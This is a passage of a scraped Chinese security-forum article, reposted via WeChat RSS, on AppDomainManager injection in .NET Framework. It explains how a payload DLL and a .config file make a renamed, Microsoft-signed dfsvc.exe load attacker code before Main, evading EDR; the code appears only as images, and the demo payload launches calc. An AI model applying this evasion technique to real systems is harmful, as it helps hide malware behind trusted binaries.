data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-top: 10px;margin-bottom: 10px;-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: 645px;vertical-align: top;background-color: rgb(248, 248, 248);"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-top: 20px;margin-bottom: 20px;-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;flex-flow: row;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-right: 30px;margin-left: 30px;-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: auto;vertical-align: top;flex: 100 100 0%;height: auto;align-self: flex-start;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 10px;-webkit-tap-highlight-color: transparent;outline: 0px;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;color: rgb(68, 73, 85);" data-mpa-action-id="mn46ojsngb5" data-pm-slice="0 0 []"><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span style="-webkit-tap-highlight-color: transparent;outline: 0px;font-weight: bolder;letter-spacing: 1px;font-size: 15px;color: rgb(2, 30, 170);" data-mpa-action-id="mc4gkooxw4z"><span style="color: rgb(2, 30, 170);font-size: 15px;" mpa-font-style="md8f6c2zutc"><span leaf=""><span textstyle="" style="color: rgb(2, 30, 170);"># 往期推荐</span></span></span></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612348&amp;idx=1&amp;sn=9b1f49187644981e264882dedfde45f9&amp;scene=21#wechat_redirect" textvalue="安卓逆向基础知识之frida Hook" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">安卓逆向基础知识之frida Hook</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf="" mpa-font-style="mn46ojr65jp" style="font-size: 15px;"><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612341&amp;idx=1&amp;sn=08f4b531105ec2b3a44360f66169db05&amp;scene=21#wechat_redirect" textvalue="2025 强网杯和强网拟态部分题解" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">2025 强网杯和强网拟态部分题解</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf="" mpa-font-style="mn46ojr61va5" style="font-size: 15px;"><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612340&amp;idx=1&amp;sn=0c799826addbc96801752a6c70938bf1&amp;scene=21#wechat_redirect" textvalue="在逆向分析方面-unidbg真的适合 MCP 吗？" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">在逆向分析方面-unidbg真的适合 MCP 吗？</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf="" mpa-font-style="mn46ojr61ws2" style="font-size: 15px;"><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612335&amp;idx=1&amp;sn=ca23336eef45a4993cc6e5b191e62a61&amp;scene=21#wechat_redirect" textvalue="AI静态分析，内核模块隐藏 Frida 特征，绕过linker私有结构遍历崩溃链" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">AI静态分析，内核模块隐藏 Frida 特征，绕过linker私有结构遍历崩溃链</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612118&amp;idx=2&amp;sn=47fe8a55e77b2ca8f2f8d73c9a9d99d0&amp;scene=21#wechat_redirect" textvalue="某安全so库深度解析" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">某安全so库深度解析</span></a></span></p></div></div></div></div></div></div></div></div><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;" nodeleaf=""><img data-aistatus="1" alt="图片" class="rich_pages wxw-img" data-ratio="0.46875" data-s="300,640" data-type="jpeg" data-w="640" style="-webkit-tap-highlight-color: transparent;outline: 0px;border-style: none;color: rgb(102, 102, 102);font-family: 微软雅黑;font-size: 15px;letter-spacing: 0.544px;widows: 1;display: inline;width: 661px !important;visibility: visible !important;" width="661px" data-backw="562" data-backh="263" data-copyright="0" data-fileid="100035996" data-imgfileid="311109982" src="https://wechat2rss.xlab.app/img-proxy/?k=e6b64b01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FUia4617poZXP96fGaMPXib13V1bJ52yHq9ycD9Zv3WhiaRb2rKV6wghrNa4VyFR2wibBVNfZt3M5IuUiauQGHvxhQrA%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp"/></p><div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 20%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111351" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="font-size: 13px;text-align: justify;box-sizing: border-box;"><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球分享</span></strong></p></div></div><div style="display: inline-block;vertical-align: top;width: 80%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111352" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 13px;color: rgb(62, 62, 62);text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球点赞</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111353" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 13px;color: rgb(62, 62, 62);text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球在看</span></strong></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 10%;box-sizing: border-box;"><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.696" data-s="300,640" data-type="gif" data-w="500" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111354" src="https://wechat2rss.xlab.app/img-proxy/?k=6ec9988e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpUHZDmkBpJ4khdIdVhiaSyOkxtAWuxJuTAs8aXISicVVUbxX09b1IWK0g%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><div style="display: inline-block;vertical-align: top;width: 90%;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 10px 0% 0px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span leaf="">点击阅读原文查看更多</span></span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="https://bbs.kanxue.com/thread-290994.htm">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a5e0a7b5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMjM5NTc2MDYxMw%3D%3D%26mid%3D2458614670%26idx%3D3%26sn%3D090bb02a3e7953bad8d45f2d15d8aefe">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 08 May 2026 17:59:00 +0800</pubDate>
    </item>
    <item>
      <title>AppDomainManager 注入：从GAC 利用到无文件加载的多种实现</title>
      <link>https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614619&amp;idx=1&amp;sn=f5927db0f7e8732f53878d2f5ca71129</link>
      <description>看雪论坛作者ID：ZyOrca</description>
      <content:encoded><![CDATA[<p><span>ZyOrca</span> <span>2026-05-07 18:06</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e88a1e17&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K3BySrVGiaLNubqsXaXP23aQsrU7H357RFegJyDS2L150kfPTnuYX73YJ3A8qHk1e7C5LDI5VRrbibGzETWibGVN4oULAvFaBC6nY%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>看雪论坛作者ID：ZyOrca</p>
  <div style="font-size: 15px;letter-spacing: 1px;line-height: 2;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;border-style: solid;border-width: 0px 0px 1px 4px;border-color: rgb(231, 58, 48) rgb(231, 58, 48) rgb(247, 121, 73) rgb(247, 121, 73);vertical-align: bottom;align-self: flex-end;margin: 0px;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 0px 0px 2px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">一、原理</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: bottom;width: 34px;align-self: flex-end;flex: 0 0 auto;height: auto;padding: 0px;box-sizing: border-box;"><div style="transform: perspective(0px);-webkit-transform: perspective(0px);-moz-transform: perspective(0px);-o-transform: perspective(0px);transform-style: flat;box-sizing: border-box;"><div style="margin: 0px;line-height: 0;transform: rotateX(180deg) rotateY(180deg);-webkit-transform: rotateX(180deg) rotateY(180deg);-moz-transform: rotateX(180deg) rotateY(180deg);-o-transform: rotateX(180deg) rotateY(180deg);box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 20px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8518519" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130916" src="https://wechat2rss.xlab.app/img-proxy/?k=ed36003c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K3W3PISYyZJiaVuPJAicXmIpUqDCicnS0UgSoBNGhpicArBlb44TMWEF8hSFEr9cfZF12icuiajku4ZiaJLJ6d9UA1Q6jxRlMV5NT0ss4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div></div></div><h1><span leaf="" mpa-font-style="motnny1uew1" style="font-size: 15px;">过去的注入技术（如跨进程注入）依赖底层的 Windows API（如 VirtualAllocEx、WriteProcessMemory、CreateRemoteThread），这些 API 目前已被 EDR和杀毒软件严密监控。传统的 dll 劫持则需要依靠文件路径、容易被 DLL 签名校验发现 ，也容易存在重名文件导致劫持失败。</span></h1><p><span leaf="" mpa-font-style="motnny1u1lsh" style="font-size: 15px;">AppDomainManager 注入（本文讨论基于.NET Framework 4.x环境）则避免使用敏感 API， 转向利用 .NET 原生框架（如运行时）的合法功能，而且通过设置全局环境变量，可实现对符合条件的.NET 程序启动即感染。其核心思路是： 攻击者编写一个恶意的 C# 类，继承自官方的 System.AppDomainManager，然后通过修改配置文件或环境变量，欺骗一个合法的、有签名的 .NET 程序在启动时将这个恶意类作为其“AppDomainManager”加载。</span></p><blockquote><p><span leaf="">当编写并编译一个 .NET 程序（如 C# 或 VB.NET）时，它并不会直接变成计算机 CPU 能听懂的机器码（0101），而是变成一种中间语言（MSIL/CIL）。.NET 运行时的任务就是负责把这些中间代码翻译成机器码，并全程管理程序运行时的各种需求，特别是内存管理需求。在 .NET 中，为了防止内存泄漏，运行时会自动追踪不再使用的对象并回收内存；而不是像 C++ ，开发者必须手动申请和释放内存。在 Windows 平台上，它最核心的部分被称为 CLR (Common Language Runtime，公共语言运行时)。</span></p></blockquote><p><span leaf="" mpa-font-style="motno762s05" style="font-size: 15px;">AppDomainManager 注入技术是安全专家 Casey Smith 在 2017 年首次提出。与传统的 DLL 劫持（DLL Side-Loading）不同，这利用的是 .NET 自身正常的程序集解析和加载机制，行为更加隐蔽，安全软件很难在不影响正常业务的前提下进行拦截。换句话说，AppDomainManager 注入的核心价值在于利用“受信任的微软签名程序”来加载“不受信任的代码”，属于 LOLBins (Living Off The Land Binaries) 。</span></p><blockquote><p><span leaf="" mpa-font-style="motno7621pb8" style="font-size: 15px;">AppDomain（应用程序域）： 在 .NET 框架中，AppDomain 是进程内的一个轻量级隔离边界。一个操作系统进程（PID）可以包含多个 AppDomain。这种机制使得 .NET 程序可以安全地加载和卸载程序集（Assembly），防止不同的代码段互相干扰。</span></p><p><span leaf="" mpa-font-style="motno7621mp4" style="font-size: 15px;">AppDomainManager： 这是一个官方提供的基类，用于让宿主（Host）自定义如何创建和管理新的 AppDomain。当一个 .NET 应用程序启动并初始化它的第一个 AppDomain 时，它会检查是否配置了自定义的 AppDomainManager。如果有，.NET 运行时会优先加载并执行这个管理器代码</span></p></blockquote><p><span leaf="" mpa-font-style="motno76214vi" style="font-size: 15px;">AppDomainManager 不依赖于文件缺失，也不需要复杂的远程线程注入。它利用的是 CLR 加载机制中的“配置优先”原则，代码运行环境极其“纯净”且受信任。AppDomainManager 允许代码在目标程序的 Main 函数执行之前就获得控制权。这意味着攻击者可以在安全软件还没来得及挂钩（Hook）或初始化监控之前，就已经完成了反调试、反沙箱或内存补丁等恶意操作。</span></p><p><code mpa-font-style="motno762ujf" style="font-size: 15px;"><span leaf="">CLR启动 → 创建默认AppDomain → 加载AppDomainManager → 调用InitializeNewDomain → 用户Main</span></code></p><p><code mpa-font-style="motno762ujf" style="font-size: 15px;"></code></p><p><span leaf="" mpa-font-style="motno76222ch" style="font-size: 15px;">以下测试均基于.NET Framework 4.x，虽然 .NET Core 及更高版本（.NET 5/6/7/8）也支持 AppDomainManager，但其加载机制（如 app.config 的处理方式）和 GAC 的概念已经发生了巨大变化。</span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 2;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;border-style: solid;border-width: 0px 0px 1px 4px;border-color: rgb(231, 58, 48) rgb(231, 58, 48) rgb(247, 121, 73) rgb(247, 121, 73);vertical-align: bottom;align-self: flex-end;margin: 0px;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 0px 0px 2px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">二、修改配置文件实现注入</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: bottom;width: 34px;align-self: flex-end;flex: 0 0 auto;height: auto;padding: 0px;box-sizing: border-box;"><div style="transform: perspective(0px);-webkit-transform: perspective(0px);-moz-transform: perspective(0px);-o-transform: perspective(0px);transform-style: flat;box-sizing: border-box;"><div style="margin: 0px;line-height: 0;transform: rotateX(180deg) rotateY(180deg);-webkit-transform: rotateX(180deg) rotateY(180deg);-moz-transform: rotateX(180deg) rotateY(180deg);-o-transform: rotateX(180deg) rotateY(180deg);box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 20px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8518519" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130917" src="https://wechat2rss.xlab.app/img-proxy/?k=28fd6408&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K3s7um9soVPC2gQlELvbKLjRiaViboLVJ3DSWiaibUEcRZ9yxicCJoCVHJBicrN3K1HxrJe85iar6PnreFuRSUCfjXfjPGh5JXeibQhibBw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div></div></div><h2 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span leaf="" mpa-font-style="motno762zje" style="font-size: 15px;">2.1 测试 dll</span></h2><p><span leaf="" mpa-font-style="motno762tb7" style="font-size: 15px;">使用 C# 创建一个类库（DLL），包含一个继承自 AppDomainManager 的类，并重写 InitializeNewDomain 方法。在该方法中放入恶意代码。具体编译过程：新建一个文件 MyPayload.cs，使用记事本输入以下 C# 代码。这段代码继承了 AppDomainManager，重写了InitializeNewDomain()，实现在.NET 程序初始化时启动计算器。</span></p><p><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.4009259259259259" data-type="webp" data-w="1080" style="max-width: 100%;" data-imgfileid="311130876" src="https://wechat2rss.xlab.app/img-proxy/?k=0755e68d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K1dBWmjwT7AjAKpRFkibVq3qges5ddtBC31tnK7rOSsareL7Hbibvdzth8ZjAlYzQ39zPm9U7uDzwvJT0ibcABkuIVwqMx4hQGDEQ%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p data-mpa-action-id="moto7vgwkb0" data-pm-slice="0 0 []"><span style="font-size: 15px;" mpa-font-style="moto7vgd18si"><span leaf="">打开命令提示符（cmd），进入 MyPayload.cs 文件所在目录，利用系统自带的 .NET 编译器 (csc.exe) 将源码编译为 AppVStreamingUX_Multi_User.dll。运行以下命令：</span></span></p><p><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.07685185185185185" data-type="webp" data-w="1080" style="max-width: 100%;" data-imgfileid="311130878" src="https://wechat2rss.xlab.app/img-proxy/?k=5526e39f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K01pwXr7xxGln7vC2wGictKY3SeCXpvfmbab8Tx1hibsoC7araXzHdZO1mhX0RhnDCoOrlzUyicQeHXc22bdkaDFNwic3KhgEJhJOI%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><h2 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span leaf="" mpa-font-style="motno76216dm" style="font-size: 15px;">2.2 目标 .NET 应用程序</span></h2><p><span leaf="" mpa-font-style="motno7625qm" style="font-size: 15px;">选择 .NET 框架自带的合法且有微软签名的程序 dfsvc.exe 作为启动测试 dll 的目标程序，将其复制到AppVStreamingUX_Multi_User.dll 所在目录，并重命名为AppVStreamingUX.exe，稍微伪装一下。</span></p><p><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.09542356377799416" data-type="webp" data-w="1027" style="max-width: 100%;" data-imgfileid="311130879" src="https://wechat2rss.xlab.app/img-proxy/?k=a4b936b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K1lafeqeF30l0qicuKZzHHxN47rTwhs7Dak7Nic2UeJ15CTXB9QWwFh5S2CXQDiacLqNlmD0RwA9doyfAJYqoZPWialADsNhhaOZP4%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><blockquote><p><span leaf="" mpa-font-style="motno7621hm2" style="font-size: 15px;">dfsvc.exe (Deployment File Service) 是 Microsoft .NET Framework 的一部分，主要负责 ClickOnce 应用程序的安装、更新和管理。它是合法的 Windows 系统进程，通常随 .NET Framework 运行。虽然它是正常的部署服务，但也可能被滥用为执行恶意代码的白名单程序。</span></p></blockquote><p><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.3743169398907104" data-type="webp" data-w="732" style="max-width: 100%;" data-imgfileid="311130880" src="https://wechat2rss.xlab.app/img-proxy/?k=845c5249&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K2gicJQq8ib3ohDKYQ84zibd1ZBticM0CTTqzum6iaN5Zz7ibqoJibUaibagicoQT84WRDq4qKfWMsibeehx6oMRVem5xndlhf0ZZC19LINs%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span leaf="" mpa-font-style="motno7621t08" style="font-size: 15px;">不过，安全软件可能会校验文件名与签名中的原始文件名是否匹配，如果不匹配，反而会增加风险。这里仅仅做个测试，就先不管这么多了。</span></p><h2 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span leaf="" mpa-font-style="motno762z74" style="font-size: 15px;">2.3 .config 配置文件</span></h2><p><span leaf="" mpa-font-style="motno762eoq" style="font-size: 15px;">在目标 .NET 程序AppVStreamingUX.exe（原名为dfsvc.exe ）同目录下创建一个名为 （目标程序名).exe.config 的文件。在配置文件中指定恶意 DLL (AppVStreamingUX_Multi_User.dll）和类名（MyAppDomainManager）。</span></p><p><span leaf="" mpa-font-style="motno7628ik" style="font-size: 15px;">当受害者或攻击者运行该合法 exe（ AppVStreamingUX.exe）时，.NET 运行时会自动读取 .config 文件（AppVStreamingUX.exe.config），并静默加载 AppVStreamingUX_Multi_User.dll 执行其中的恶意代码（弹出计算器）。</span></p><p><span leaf="" mpa-font-style="motno76215g8" style="font-size: 15px;">将以下 XML 内容写入该文件：</span></p><p><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.2657407407407407" data-type="webp" data-w="1080" style="max-width: 100%;" data-imgfileid="311130881" src="https://wechat2rss.xlab.app/img-proxy/?k=a6c6ee32&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K1stVOFibRKpxSl53N6c6ic710LDpIQd6iazIpxibsmyf3Suia7OqwqQRGzJmXYtRDpO69hwb7llsp4bwZmnfyN7k3oQ6Bw3qmsNQWk%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><h2 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span leaf="" mpa-font-style="motno762vzx" style="font-size: 15px;">2.4 运行效果</span></h2><p><span leaf="" mpa-font-style="motno762voa" style="font-size: 15px;">点击运行程序AppVStreamingUX.exe，计算器顺利弹出：</span><span leaf=""><br/></span><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="1.5227765726681128" data-type="webp" data-w="461" style="max-width: 100%;" data-imgfileid="311130882" src="https://wechat2rss.xlab.app/img-proxy/?k=6e9bc45d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K3k1BrVex1eQibqqaTqYz3A5RiaL0XuUcwdgjficiaFLDRcFvwGjr82lazEWaXtnibwQxl0V74Ovpu80jvXgibGdVia18bwHZXUkialdAc%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span leaf="" mpa-font-style="motno762vzw" style="font-size: 15px;">通过火绒剑可以观察到AppVStreamingUX.exe 进程创建后，很快就打开并读取了配置文件AppVStreamingUX.exe.config</span><span leaf=""><br/></span><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.20925925925925926" data-type="webp" data-w="1080" style="max-width: 100%;" data-imgfileid="311130883" 